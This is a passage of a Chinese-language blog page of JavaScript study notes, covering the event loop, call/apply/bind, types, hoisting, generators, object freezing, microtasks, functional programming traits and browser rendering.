都在其中运行。</p><p>如果使用同步的方式，就极有可能导致主线程产生阻塞，从而导致消息队列中的很多其他任务无法得到执行。这样一来，一方面会导致繁忙的主线程白白的消耗时间，另一方面导致页面无法及时更新，给用户造成卡死现象。</p><p>所以浏览器采用异步的方式来避免。具体做法是当某些任务发生时，比如计时器、网络、事件监听，主线程将任务交给其他线程去处理，自身立即结束任务的执行，转而执行后续代码。当其他线程完成时，将事先传递的回调函数包装成任务，加入到消息队列的末尾排队，等待主线程调度执行。</p><p>在这种异步模式下，浏览器永不阻塞，从而最大限度的保证了单线程的流畅运行。</p></blockquote><h3 id="对象的键被自动转化为字符串，当对象化为字符串时，变成”-object-object-”"><a href="#对象的键被自动转化为字符串，当对象化为字符串时，变成”-object-object-”" class="headerlink" title="对象的键被自动转化为字符串，当对象化为字符串时，变成”[object object]”"></a>对象的键被自动转化为字符串，当对象化为字符串时，变成”[object object]”</h3><h3 id="导致事件的最深嵌套的元素是事件的-target-可以通过event-stopPropagation-来阻止事件冒泡"><a href="#导致事件的最深嵌套的元素是事件的-target-可以通过event-stopPropagation-来阻止事件冒泡" class="headerlink" title="导致事件的最深嵌套的元素是事件的 target 可以通过event.stopPropagation 来阻止事件冒泡"></a>导致事件的最深嵌套的元素是事件的 target 可以通过event.stopPropagation 来阻止事件冒泡</h3><h3 id="apply-call-bind-（parameter1-parameter2）"><a href="#apply-call-bind-（parameter1-parameter2）" class="headerlink" title=".apply .call .bind （parameter1, parameter2）"></a>.apply .call .bind （parameter1, parameter2）</h3><h4 id="parameter1-传递对象引用"><a href="#parameter1-传递对象引用" class="headerlink" title="parameter1 传递对象引用"></a>parameter1 传递对象引用</h4><h4 id="parameter2-所传递对象的参数（apply是数组，而call是参数列表，且为一次性传入，bind可多次动态传入，参数列表形式传入）"><a href="#parameter2-所传递对象的参数（apply是数组，而call是参数列表，且为一次性传入，bind可多次动态传入，参数列表形式传入）" class="headerlink" title="parameter2 所传递对象的参数（apply是数组，而call是参数列表，且为一次性传入，bind可多次动态传入，参数列表形式传入）"></a>parameter2 所传递对象的参数（<code>apply</code>是数组，而<code>call</code>是参数列表，且为一次性传入，<code>bind</code>可多次动态传入，参数列表形式传入）</h4><h4 id="bind-返回函数的副本，但带有绑定上下文！它不是立即执行的"><a href="#bind-返回函数的副本，但带有绑定上下文！它不是立即执行的" class="headerlink" title="bind 返回函数的副本，但带有绑定上下文！它不是立即执行的"></a>bind 返回函数的副本，但带有绑定上下文！它不是立即执行的</h4><h4 id="apply-call-立即执行"><a href="#apply-call-立即执行" class="headerlink" title="apply call 立即执行"></a>apply call 立即执行</h4><h3 id="7-种内置类型"><a href="#7-种内置类型" class="headerlink" title="7 种内置类型"></a>7 种内置类型</h3><h4 id="string-number-bigint-boolean-null-undefined-symbol-object"><a href="#string-number-bigint-boolean-null-undefined-symbol-object" class="headerlink" title="string  number (bigint)  boolean  null  undefined  symbol  object"></a><code>string</code>  <code>number (bigint)</code> <code> boolean</code>  <code>null</code>  <code>undefined</code>  <code>symbol</code>  <code>object</code></h4><h4 id="function-不是一种类型-属于-object-对象"><a href="#function-不是一种类型-属于-object-对象" class="headerlink" title="function 不是一种类型 属于 object 对象"></a>function 不是一种类型 属于 object 对象</h4><h3 id="JavaScript-中的一切都是-基本类型（7）-对象"><a href="#JavaScript-中的一切都是-基本类型（7）-对象" class="headerlink" title="JavaScript 中的一切都是 基本类型（7）+ 对象"></a>JavaScript 中的一切都是 基本类型（7）+ 对象</h3><h3 id="string-是可迭代的-…’Lydia’-‘L’-‘y’-‘d’-‘i’-‘a’"><a href="#string-是可迭代的-…’Lydia’-‘L’-‘y’-‘d’-‘i’-‘a’" class="headerlink" title="string 是可迭代的 […’Lydia’] &#x3D; [‘L’, ‘y’, ‘d’, ‘i’, ‘a’]"></a>string 是可迭代的 […’Lydia’] &#x3D; [‘L’, ‘y’, ‘d’, ‘i’, ‘a’]</h3><h3 id="引入的模块-是只读的"><a href="#引入的模块-是只读的" class="headerlink" title="引入的模块 是只读的"></a>引入的模块 是<strong>只读</strong>的</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> myCounter <span class="keyword">from</span> <span class="string">&quot;./counter&quot;</span>; <span class="comment">// myCounter 为只读属性</span></span><br></pre></td></tr></table></figure><blockquote><p>引入的模块是 <em>只读</em> 的：你不能修改引入的模块。只有导出他们的模块才能修改其值。</p></blockquote><h3 id="JavaScript中闭包（Closure，上面我们已经提到过）产生的原因，一个函数还没有被销毁（调用没有完全结束），你可以在子环境内使用父环境的变量。"><a href="#JavaScript中闭包（Closure，上面我们已经提到过）产生的原因，一个函数还没有被销毁（调用没有完全结束），你可以在子环境内使用父环境的变量。" class="headerlink" title="JavaScript中闭包（Closure，上面我们已经提到过）产生的原因，一个函数还没有被销毁（调用没有完全结束），你可以在子环境内使用父环境的变量。"></a>JavaScript中闭包（Closure，上面我们已经提到过）产生的原因，一个函数还没有被销毁（调用没有完全结束），你可以在子环境内使用父环境的变量。</h3><h3 id="delete-不能删除-const-let-var-声明的变量-返回-false"><a href="#delete-不能删除-const-let-var-声明的变量-返回-false" class="headerlink" title="delete 不能删除 const let var 声明的变量 返回 false"></a>delete 不能删除 const let var 声明的变量 返回 false</h3><h3 id="defineProperty-object-key-value-1-给指定对象添加-key属性-不可枚举"><a href="#defineProperty-object-key-value-1-给指定对象添加-key属性-不可枚举" class="headerlink" title="defineProperty(object, key, { value: 1 }) 给指定对象添加 key属性 不可枚举"></a>defineProperty(object, key, { value: 1 }) 给指定对象添加 key属性 <strong>不可枚举</strong></h3><h3 id="import-命令是编译阶段执行的，在代码运行之前，被导入的模块代码，先运行。区别于-CommonJs-的-require-，require-按需加载，执行顺序取决于-require-所在代码位置"><a href="#import-命令是编译阶段执行的，在代码运行之前，被导入的模块代码，先运行。区别于-CommonJs-的-require-，require-按需加载，执行顺序取决于-require-所在代码位置" class="headerlink" title="import 命令是编译阶段执行的，在代码运行之前，被导入的模块代码，先运行。区别于 CommonJs 的 require ，require 按需加载，执行顺序取决于 require 所在代码位置"></a><code>import</code> 命令是编译阶段执行的，在代码运行之前，被导入的模块代码，先运行。区别于 <code>CommonJs</code> 的 <code>require</code> ，<code>require</code> 按需加载，执行顺序取决于 <code>require</code> 所在代码位置</h3><h3 id="functong-name-params-表示声明了-一个函数生成器Genarator-对象，通常-name-生成器函数，配合yeild-使用，以达到-name-函数内部逻辑-暂停-恢复执行-。-name-next-得到一个-value-值-done-true-对象。next-方法可以带参数-name-next-param1-则-param1-将传递给-name-函数的-上一个-yeild-表达式的返回值。注：yeild-只能在生成函数中使用。"><a href="#functong-name-params-表示声明了-一个函数生成器Genarator-对象，通常-name-生成器函数，配合yeild-使用，以达到-name-函数内部逻辑-暂停-恢复执行-。-name-next-得到一个-value-值-done-true-对象。next-方法可以带参数-name-next-param1-则-param1-将传递给-name-函数的-上一个-yeild-表达式的返回值。注：yeild-只能在生成函数中使用。" class="headerlink" title="functong * name(params){} : 表示声明了 一个函数生成器Genarator 对象，通常 name 生成器函数，配合yeild 使用，以达到  name 函数内部逻辑 暂停 恢复执行 。 name.next() 得到一个 { value: 值, done: true } 对象。next 方法可以带参数 name.next(&#39;param1&#39;) 则 param1 将传递给 name 函数的 上一个 yeild 表达式的返回值。注：yeild 只能在生成函数中使用。"></a>functong * name(params){} : 表示声明了 一个函数生成器<code>Genarator</code> 对象，通常 name 生成器函数，配合<code>yeild</code> 使用，以达到  name 函数内部逻辑 <code>暂停</code> <code>恢复执行</code> 。 <code>name.next()</code> 得到一个 <code>&#123; value: 值, done: true &#125;</code> 对象。<code>next</code> 方法可以带参数 <code>name.next(&#39;param1&#39;)</code> 则 <code>param1</code> 将传递给 name 函数的 上一个 <code>yeild</code> 表达式的返回值。注：yeild 只能在生成函数中使用。</h3><h3 id="Object-freeze-obj-使得obj对象的属性-无法添加、修改、删除（冻结对象）"><a href="#Object-freeze-obj-使得obj对象的属性-无法添加、修改、删除（冻结对象）" class="headerlink" title="Object.freeze(obj) 使得obj对象的属性 无法添加、修改、删除（冻结对象）"></a><code>Object.freeze(obj)</code> 使得obj对象的属性 无法添加、修改、删除（冻结对象）</h3><h3 id="尝试打印一个未定义的对象，报错-ReferenceError-引用错误"><a href="#尝试打印一个未定义的对象，报错-ReferenceError-引用错误" class="headerlink" title="尝试打印一个未定义的对象，报错 ReferenceError 引用错误"></a>尝试打印一个未定义的对象，报错 <code>ReferenceError</code> 引用错误</h3><h3 id="数组元素：任何值、数学表达式、日期、函数计算"><a href="#数组元素：任何值、数学表达式、日期、函数计算" class="headerlink" title="数组元素：任何值、数学表达式、日期、函数计算"></a>数组元素：任何值、数学表达式、日期、函数计算</h3><h3 id="定时器-setTimeout-setInterval-中，this-指向-全局对象-windows"><a href="#定时器-setTimeout-setInterval-中，this-指向-全局对象-windows" class="headerlink" title="定时器 setTimeout setInterval 中，this 指向 全局对象 windows"></a>定时器 <code>setTimeout</code> <code>setInterval</code> 中，<code>this</code> 指向 <code>全局对象 windows</code></h3><h3 id="function-a-b-a-可以将函数参数的默认值-设置为另一个参数，只需另一个参数定义于这个函数参数之前"><a href="#function-a-b-a-可以将函数参数的默认值-设置为另一个参数，只需另一个参数定义于这个函数参数之前" class="headerlink" title="function(a, b = a) 可以将函数参数的默认值 设置为另一个参数，只需另一个参数定义于这个函数参数之前"></a><code>function(a, b = a)</code> 可以将函数参数的默认值 设置为另一个参数，只需另一个参数定义于这个函数参数之前</h3><h3 id="push-方法返回-数组长度-1-2-3-push-5-4"><a href="#push-方法返回-数组长度-1-2-3-push-5-4" class="headerlink" title="push 方法返回 数组长度 [1,2,3].push(5) === 4"></a><code>push</code> 方法返回 <code>数组长度</code> <code>[1,2,3].push(5) === 4</code></h3><h3 id="function-a-b-c-c-表示-剩余参数-是一个-数组-只能-作为最后一个参数-否则抛出-语法错误-syntaxError"><a href="#function-a-b-c-c-表示-剩余参数-是一个-数组-只能-作为最后一个参数-否则抛出-语法错误-syntaxError" class="headerlink" title="function(a, b, ...c){} ...c 表示 剩余参数 是一个 数组 只能 作为最后一个参数 否则抛出 语法错误 syntaxError"></a><code>function(a, b, ...c)&#123;&#125;</code> <code>...c</code> 表示 <code>剩余参数</code> 是一个 <code>数组</code> 只能 <code>作为最后一个参数</code> 否则抛出 <code>语法错误 syntaxError</code></h3><h3 id="Javascript-引擎自动在语句后添加-号"><a href="#Javascript-引擎自动在语句后添加-号" class="headerlink" title="Javascript 引擎自动在语句后添加 ;号"></a><code>Javascript 引擎</code>自动在语句后添加 <code>;</code>号</h3><h3 id="可以将类设置为等同于其他类-函数-构造函数"><a href="#可以将类设置为等同于其他类-函数-构造函数" class="headerlink" title="可以将类设置为等同于其他类/函数 构造函数"></a>可以将<code>类</code>设置为等同于<code>其他类/函数 构造函数</code></h3><h3 id="symbol-类型是不可-枚举的-Object-keys-obj-将不可见-symbol-类型的-key-但-Object-getOwnPropertySymbols-obj-方法访问"><a href="#symbol-类型是不可-枚举的-Object-keys-obj-将不可见-symbol-类型的-key-但-Object-getOwnPropertySymbols-obj-方法访问" class="headerlink" title="symbol 类型是不可 枚举的 Object.keys(obj) 将不可见 symbol 类型的 key  但 Object.getOwnPropertySymbols(obj) 方法访问"></a><code>symbol</code> 类型是不可 <code>枚举的</code> <code>Object.keys(obj)</code> 将不可见 <code>symbol</code> 类型的 <code>key</code>  但 <code>Object.getOwnPropertySymbols(obj)</code> 方法访问</h3><h3 id="箭头函数-若返回-一个值，则-不必要写-，若返回-对象-则必须-return-obj-或-obj"><a href="#箭头函数-若返回-一个值，则-不必要写-，若返回-对象-则必须-return-obj-或-obj" class="headerlink" title="箭头函数 若返回 一个值，则 () =&gt; 不必要写 {} ，若返回 对象 则必须 () =&gt; { return { obj } } 或 () =&gt; ({ obj })"></a><code>箭头函数</code> 若返回 <code>一个值</code>，则 <code>() =&gt; </code>不必要写 <code>&#123;&#125;</code> ，若返回 <code>对象</code> 则必须 <code>() =&gt; &#123; return &#123; obj &#125; &#125;</code> 或 <code>() =&gt; (&#123; obj &#125;)</code></h3><h3 id="string-字符串调用（非函数不能调用）报错-TypeError-类型错误"><a href="#string-字符串调用（非函数不能调用）报错-TypeError-类型错误" class="headerlink" title="&quot;string&quot;() 字符串调用（非函数不能调用）报错 TypeError 类型错误"></a><code>&quot;string&quot;()</code> 字符串调用（非函数不能调用）报错 <code>TypeError</code> 类型错误</h3><h3 id="常见-假值-null-undefined-0-0-NaN-false-0n"><a href="#常见-假值-null-undefined-0-0-NaN-false-0n" class="headerlink" title="常见 假值 null  undefined  &quot;&quot;    0     -0     NaN   false  0n"></a>常见 <code>假值</code> <code>null</code> <code> undefined</code>  <code>&quot;&quot;</code>   <code> 0</code>    <code> -0</code>    <code> NaN</code>  <code> false</code>  <code>0n</code></h3><h3 id="微任务：-promise-then-process-nextTick-MutationOvserver-宏任务：-setTimeout-setInterval-script-setImmediate-I-O-UI-rendering-await-执行当前代码，将后续代码加入-微任务队列。等价于-先执行new-Promise-后，将-promise-then-加入微任务队列-事件循环数据结构：微任务队列-、-宏任务队列。不断循环执行-宏任务队列"><a href="#微任务：-promise-then-process-nextTick-MutationOvserver-宏任务：-setTimeout-setInterval-script-setImmediate-I-O-UI-rendering-await-执行当前代码，将后续代码加入-微任务队列。等价于-先执行new-Promise-后，将-promise-then-加入微任务队列-事件循环数据结构：微任务队列-、-宏任务队列。不断循环执行-宏任务队列" class="headerlink" title="微任务： promise.then() process.nextTick() MutationOvserver()  宏任务： setTimeout setInterval script setImmediate I/O UI-rendering await 执行当前代码，将后续代码加入 微任务队列。等价于 先执行new Promise()后，将 promise.then() 加入微任务队列  事件循环数据结构：微任务队列 、 宏任务队列。不断循环执行 宏任务队列"></a><code>微任务</code>： <code>promise.then()</code> <code>process.nextTick()</code> <code>MutationOvserver()</code>  <code>宏任务</code>： <code>setTimeout</code> <code>setInterval</code> <code>script</code> <code>setImmediate</code> <code>I/O</code> <code>UI-rendering</code> <code>await 执行当前代码，将后续代码加入 微任务队列。等价于 先执行new Promise()后，将 promise.then() 加入微任务队列</code>  <code>事件循环数据结构</code>：<code>微任务队列</code> 、 <code>宏任务队列</code>。<code>不断循环执行 宏任务队列</code></h3><h3 id="a-b-若-a、b-不全为-数字-Js引擎-会将-a、强制转为-字符串-name-value-对象强转字符串为-Object-object-，再进行字符串拼接"><a href="#a-b-若-a、b-不全为-数字-Js引擎-会将-a、强制转为-字符串-name-value-对象强转字符串为-Object-object-，再进行字符串拼接" class="headerlink" title="a + b 若 a、b 不全为 数字 Js引擎 会将 a、强制转为 字符串 { name: value } 对象强转字符串为 [ Object object ] ，再进行字符串拼接"></a><code>a + b</code> 若 a、b 不全为 <code>数字</code> <code>Js引擎</code> 会将 a、强制转为 <code>字符串</code> <code>&#123; name: value &#125; 对象强转字符串为 [ Object object ]</code> ，再进行字符串拼接</h3><h3 id="对象通过引用传递（引用内存的位置），当我们检查对象的严格性相等时-，我们正在比较他的引用"><a href="#对象通过引用传递（引用内存的位置），当我们检查对象的严格性相等时-，我们正在比较他的引用" class="headerlink" title="对象通过引用传递（引用内存的位置），当我们检查对象的严格性相等时=== ，我们正在比较他的引用"></a>对象通过<code>引用传递</code>（引用内存的位置），当我们检查对象的严格性相等时<code>===</code> ，我们正在比较他的引用</h3><h3 id="点-表示法访问对象属性，Obj-name，会使用改确切名称在对象上查找属性，若没有name-，则返回-undefined"><a href="#点-表示法访问对象属性，Obj-name，会使用改确切名称在对象上查找属性，若没有name-，则返回-undefined" class="headerlink" title=". 点 表示法访问对象属性，Obj.name，会使用改确切名称在对象上查找属性，若没有name ，则返回 undefined"></a><code>.</code> <code>点</code> 表示法访问对象属性，<code>Obj.name</code>，会使用改确切名称在对象上查找属性，若没有name ，则返回 <code>undefined</code></h3><h3 id="Obj-name-，方括号表示法，它会从第一个-开始直到找到右方括号-，之后才开始评估-语句，-中可以插入表达式，运行时才确认的属性，而-属性不能访问。"><a href="#Obj-name-，方括号表示法，它会从第一个-开始直到找到右方括号-，之后才开始评估-语句，-中可以插入表达式，运行时才确认的属性，而-属性不能访问。" class="headerlink" title="Obj[&#39;name&#39;]，方括号表示法，它会从第一个 [ 开始直到找到右方括号 ]，之后才开始评估 语句，[]中可以插入表达式，运行时才确认的属性，而. 属性不能访问。"></a><code>Obj[&#39;name&#39;]</code>，方括号表示法，它会从第一个 <code>[</code> 开始直到找到右方括号 <code>]</code>，之后才开始评估 语句，<code>[]</code>中可以插入表达式，运行时才确认的属性，而<code>.</code> 属性不能访问。</h3><h3 id="❤️-表情符号是-unicode，对于相同的-表情符号，他们总是相等的-如❤️-❤️"><a href="#❤️-表情符号是-unicode，对于相同的-表情符号，他们总是相等的-如❤️-❤️" class="headerlink" title="❤️ 表情符号是 unicode，对于相同的 表情符号，他们总是相等的 如❤️ === ❤️"></a><code>❤️</code> 表情符号是 <code>unicode</code>，对于相同的 表情符号，他们总是相等的 如<code>❤️ === ❤️</code></h3><h3 id="map-slice-filter-返回一个新数组，find返回一个元素，reduce返回一个计算-值"><a href="#map-slice-filter-返回一个新数组，find返回一个元素，reduce返回一个计算-值" class="headerlink" title="map slice filter 返回一个新数组，find返回一个元素，reduce返回一个计算 值"></a><code>map slice filter</code> 返回一个新数组，<code>find</code>返回一个元素，<code>reduce</code>返回一个计算 值</h3><h3 id="在-javascript-中-原始类型通过-值起作用。当-原始类型-如字符串-的值是数组的值时，该字符串的值只是-数组引用值的复制，改变字符串值时，数组值并不会被改变"><a href="#在-javascript-中-原始类型通过-值起作用。当-原始类型-如字符串-的值是数组的值时，该字符串的值只是-数组引用值的复制，改变字符串值时，数组值并不会被改变" class="headerlink" title="在 javascript 中 原始类型通过 值起作用。当 原始类型 如字符串 的值是数组的值时，该字符串的值只是 数组引用值的复制，改变字符串值时，数组值并不会被改变"></a>在 javascript 中 <code>原始类型</code>通过 <code>值</code>起作用。当 原始类型 如字符串 的值是数组的值时，该字符串的值只是 <code>数组引用值的复制</code>，改变字符串值时，数组值并不会被改变</h3><h3 id="let-const与-var-声明的变量都会有-提升，但与var-不同的是，它们不会被初始化-undefined-在声明之前不能访问它，这个行为成为暂时性死区，试图访问会抛出ReferenceError-暂时性死区：在-let-声明之前的执行瞬间"><a href="#let-const与-var-声明的变量都会有-提升，但与var-不同的是，它们不会被初始化-undefined-在声明之前不能访问它，这个行为成为暂时性死区，试图访问会抛出ReferenceError-暂时性死区：在-let-声明之前的执行瞬间" class="headerlink" title="let const与 var 声明的变量都会有 提升，但与var 不同的是，它们不会被初始化 undefined.在声明之前不能访问它，这个行为成为暂时性死区，试图访问会抛出ReferenceError (暂时性死区：在 let 声明之前的执行瞬间)"></a><code>let const</code>与 <code>var</code> 声明的变量都会有 提升，但与<code>var</code> 不同的是，它们不会被初始化 <code>undefined</code>.在声明之前不能访问它，这个行为成为<code>暂时性死区</code>，试图访问会抛出<code>ReferenceError</code> (暂时性死区：在 let 声明之前的执行瞬间)</h3><h3 id="x-x-param-是个立即执行函数-相当于向箭头函数-x-x-传递参数-param-并且执行"><a href="#x-x-param-是个立即执行函数-相当于向箭头函数-x-x-传递参数-param-并且执行" class="headerlink" title="((x =&gt; x)(&#39;param&#39;)) 是个立即执行函数 相当于向箭头函数 x &#x3D;&gt; x 传递参数 param 并且执行"></a><code>((x =&gt; x)(&#39;param&#39;))</code> 是个<code>立即执行函数</code> 相当于向箭头函数 x &#x3D;&gt; x 传递参数 param 并且执行</h3><h3 id="箭头函数并没有属于自己的-this，this捕获其所在上下文的this，作为自己的值"><a href="#箭头函数并没有属于自己的-this，this捕获其所在上下文的this，作为自己的值" class="headerlink" title="() =&gt; 箭头函数并没有属于自己的 this，this捕获其所在上下文的this，作为自己的值"></a><code>() =&gt; </code>箭头函数并没有属于自己的 <code>this</code>，<code>this</code>捕获其所在上下文的this，作为自己的值</h3><h3 id="逻辑空赋值，x-value-仅在-x-空值-undefined-或-null-时，对其赋值-value"><a href="#逻辑空赋值，x-value-仅在-x-空值-undefined-或-null-时，对其赋值-value" class="headerlink" title="??= 逻辑空赋值，x ??= value 仅在 x = 空值(undefined 或 null)时，对其赋值 value"></a><code>??=</code> 逻辑空赋值，<code>x ??= value</code> <code>仅在 x = 空值(undefined 或 null)时，对其赋值 value</code></h3><h3 id="get语法将对象属性绑定到查询该属性时被调用的方法。（当-访问-obj-name时，就会调用-get-name-方法若有）。当尝试设置属性时，set语法将对象属性绑定到要调用的函数，它还可以在类中应用。（当-修改属性-obj-name-value时，就会调用-set-name-value-方法若有）。get、set方法返回-undefined"><a href="#get语法将对象属性绑定到查询该属性时被调用的方法。（当-访问-obj-name时，就会调用-get-name-方法若有）。当尝试设置属性时，set语法将对象属性绑定到要调用的函数，它还可以在类中应用。（当-修改属性-obj-name-value时，就会调用-set-name-value-方法若有）。get、set方法返回-undefined" class="headerlink" title="get语法将对象属性绑定到查询该属性时被调用的方法。（当 访问  obj.name时，就会调用 get name()方法若有）。当尝试设置属性时，set语法将对象属性绑定到要调用的函数，它还可以在类中应用。（当 修改属性 obj.name = value时，就会调用 set name(value)方法若有）。get、set方法返回 undefined"></a><code>get</code>语法将对象属性绑定到查询该属性时被调用的方法。（当 访问 <code> obj.name</code>时，就会调用 <code>get name()</code>方法若有）。当尝试设置属性时，<code>set</code>语法将对象属性绑定到要调用的函数，它还可以在类中应用。（当 修改属性 <code>obj.name = value</code>时，就会调用 <code>set name(value)</code>方法若有）。<code>get、set</code>方法返回 <code>undefined</code></h3><h3 id="typeof-name-string-先-计算-typeof-name-再取反-最后再检验"><a href="#typeof-name-string-先-计算-typeof-name-再取反-最后再检验" class="headerlink" title="!typeof name === &quot;string&quot; : 先 计算 typeof name 再取反 ! 最后再检验 ==="></a><code>!typeof name === &quot;string&quot;</code> : 先 计算 <code>typeof name</code> 再取反 <code>!</code> 最后再检验 <code>===</code></h3><h3 id="Number-isNaN-value-检测-value是否是-数字且等价于NaN-isNaN-检测-value-是不是-不是一个数字"><a href="#Number-isNaN-value-检测-value是否是-数字且等价于NaN-isNaN-检测-value-是不是-不是一个数字" class="headerlink" title="Number.isNaN(value) 检测 value是否是 数字且等价于NaN  isNaN 检测 value 是不是 不是一个数字"></a><code>Number.isNaN(value)</code> 检测 <code>value</code>是否是 <code>数字且等价于NaN</code>  <code>isNaN</code> 检测 value 是不是 <code>不是一个数字</code></h3><h3 id="Object-seal-obj-可以防止新属性被添加、存在属性-被移除。然而、仍然可以对存在属性-进行更改"><a href="#Object-seal-obj-可以防止新属性被添加、存在属性-被移除。然而、仍然可以对存在属性-进行更改" class="headerlink" title="Object.seal(obj) 可以防止新属性被添加、存在属性 被移除。然而、仍然可以对存在属性 进行更改"></a><code>Object.seal(obj)</code> 可以防止新属性被添加、存在属性 被移除。然而、仍然可以对<code>存在属性</code> <code>进行更改</code></h3><h3 id="Object-freeze-obj-对-对象进行浅冻结-，不能对-obj-的属性-添加、修改、删除。但可以操作-obj-里的对象属性（浅冻结）"><a href="#Object-freeze-obj-对-对象进行浅冻结-，不能对-obj-的属性-添加、修改、删除。但可以操作-obj-里的对象属性（浅冻结）" class="headerlink" title="Object.freeze(obj)对 对象进行浅冻结 ，不能对 obj 的属性 添加、修改、删除。但可以操作 obj 里的对象属性（浅冻结）"></a><code>Object.freeze(obj)</code>对 对象进行<code>浅冻结</code> ，不能对 obj 的属性 添加、修改、删除。但可以操作 obj 里的对象属性（浅冻结）</h3><h3 id="ES2015-es6-ES2020-es11，在-ES2020-中，通过-可以给-class添加私有变量，但在-class-外部我们无法获取该值，尝试获取、则会报错-syntaxError-语法错误"><a href="#ES2015-es6-ES2020-es11，在-ES2020-中，通过-可以给-class添加私有变量，但在-class-外部我们无法获取该值，尝试获取、则会报错-syntaxError-语法错误" class="headerlink" title="ES2015 -&gt; es6 ... ES2020 -&gt; es11，在 ES2020 中，通过 #可以给 class添加私有变量，但在 class 外部我们无法获取该值，尝试获取、则会报错 syntaxError 语法错误"></a><code>ES2015 -&gt; es6</code> <code>...</code> <code>ES2020 -&gt; es11</code>，在 ES2020 中，通过 <code>#</code>可以给 <code>class</code>添加私有变量，但在 class 外部我们无法获取该值，尝试获取、则会报错 <code>syntaxError</code> 语法错误</h3><h3 id="对象默认不是可迭代的，可以通过添加对象迭代器-sysmbol-iterator-来定义迭代规则，其返回一个generator函数-sysmbol-iterator-，-obj-无法解构，-obj-可以解构"><a href="#对象默认不是可迭代的，可以通过添加对象迭代器-sysmbol-iterator-来定义迭代规则，其返回一个generator函数-sysmbol-iterator-，-obj-无法解构，-obj-可以解构" class="headerlink" title="对象默认不是可迭代的，可以通过添加对象迭代器[sysmbol.iterator]来定义迭代规则，其返回一个generator函数*[sysmbol.iterator](){}，[...obj]无法解构，{...obj}可以解构"></a>对象默认不是可迭代的，可以通过添加对象迭代器<code>[sysmbol.iterator]</code>来定义迭代规则，其返回一个<code>generator</code>函数<code>*[sysmbol.iterator]()&#123;&#125;</code>，<code>[...obj]</code>无法解构，<code>&#123;...obj&#125;</code>可以解构</h3><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span>* <span class="title function_">infiniteCounter</span>(<span class="params"></span>) &#123;</span><br><span class="line">  <span class="keyword">let</span> i = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="keyword">yield</span> ++i;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> a = <span class="title function_">infiniteCounter</span>(); </span><br><span class="line"><span class="keyword">const</span> b = a.<span class="title function_">next</span>(); <span class="comment">// &#123; value: 1, done: false &#125;</span></span><br><span class="line"><span class="keyword">const</span> c = a.<span class="title function_">next</span>(); <span class="comment">// &#123; value: 2, done: false &#125;</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(a);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(b);</span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(c);</span><br><span class="line"><span class="comment">// 适用于需要按需计算而不是一次性生成的场景，比如大数据分页、日志流等。</span></span><br></pre></td></tr></table></figure><h3 id="在-class中constructor中的属性，不会在原型链上共享"><a href="#在-class中constructor中的属性，不会在原型链上共享" class="headerlink" title="在 class中constructor中的属性，不会在原型链上共享"></a>在 <code>class</code>中<code>constructor</code>中的属性，<code>不会在原型链上共享</code></h3><h3 id="Promise-all方法可以并行运行promise，如果其中一个promise失败了，Promise-all方法会带上reject的promise的值-rejects"><a href="#Promise-all方法可以并行运行promise，如果其中一个promise失败了，Promise-all方法会带上reject的promise的值-rejects" class="headerlink" title="Promise.all方法可以并行运行promise，如果其中一个promise失败了，Promise.all方法会带上reject的promise的值_rejects_"></a><code>Promise.all</code>方法可以并行运行<code>promise</code>，如果其中一个promise失败了，<code>Promise.all</code>方法会带上<code>reject</code>的<code>promise</code>的值<code>_rejects_</code></h3><h2 id="函数式编程特性"><a href="#函数式编程特性" class="headerlink" title="函数式编程特性"></a>函数式编程特性</h2><p>说了这么久，都是在讲函数，那么究竟什么是函数式编程呢？在网上你可以看到很多定义，但大都离不开这些特性。</p><ul><li><strong>First Class</strong> 函数：函数可以被应用，也可以被当作数据。</li><li><strong>Pure</strong> 纯函数，无副作用：任意时刻以相同参数调用函数任意次数得到的结果都一样。</li><li><strong>Referential Transparency</strong> 引用透明：可以被表达式替代。</li><li><strong>Expression</strong> 基于表达式：表达式可以被计算，促进数据流动，状态声明就像是一个暂停，好像数据到这里就会停滞了一下。</li><li><strong>Immutable</strong> 不可变性：参数不可被修改、变量不可被修改—宁可牺牲性能，也要产生新的数据（Rust内存模型例外）。</li><li><strong>High Order Function</strong> 大量使用高阶函数：变量存储、闭包应用、函数高度可组合。</li><li><strong>Curry</strong> 柯里化：对函数进行降维，方便进行组合。</li><li><strong>Composition</strong> 函数组合：将多个单函数进行组合，像流水线一样工作。</li></ul><p>另外还有一些特性，有的会提到，有的一笔带过，但实际也是一个特性（以Haskell为例）。</p><ul><li><strong>Type Inference</strong> 类型推导：如果无法确定数据的类型，那函数怎么去组合？（常见，但非必需）</li><li><strong>Lazy Evaluation</strong> 惰性求值：函数天然就是一个执行环境，惰性求值是很自然的选择。</li><li><strong>Side Effect</strong> IO：一种类型，用于处理副作用。一个不能执行打印文字、修改文件等操作的程序，是没有意义的，总要有位置处理副作用。（边缘）</li></ul><p>数学上，我们定义函数为集合A到集合B的映射。在函数式编程中，我们也是这么认为的。函数就是把数据从某种形态映射到另一种形态。注意理解“映射”，后面我们还会讲到。</p><h2 id="浏览器性能优化"><a href="#浏览器性能优化" class="headerlink" title="浏览器性能优化"></a>浏览器性能优化</h2><h3 id="渲染流程"><a href="#渲染流程" class="headerlink" title="渲染流程"></a>渲染流程</h3><p><code>渲染进程</code> <code>html -&gt; DOM树</code> </p><p><code>渲染引擎</code> <code>css -&gt; css样式树</code> <code>计算dom节点样式</code></p><p><code>构建布局树 Dom树 + css样式树</code></p><p><code>生成图层树 对布局树进行分层</code></p><p><code>每个图层生成绘制列表 提交给合成线程</code></p><p><code>每个图层单独绘制</code></p><p><code>合成图层</code></p><h3 id="渲染性能"><a href="#渲染性能" class="headerlink" 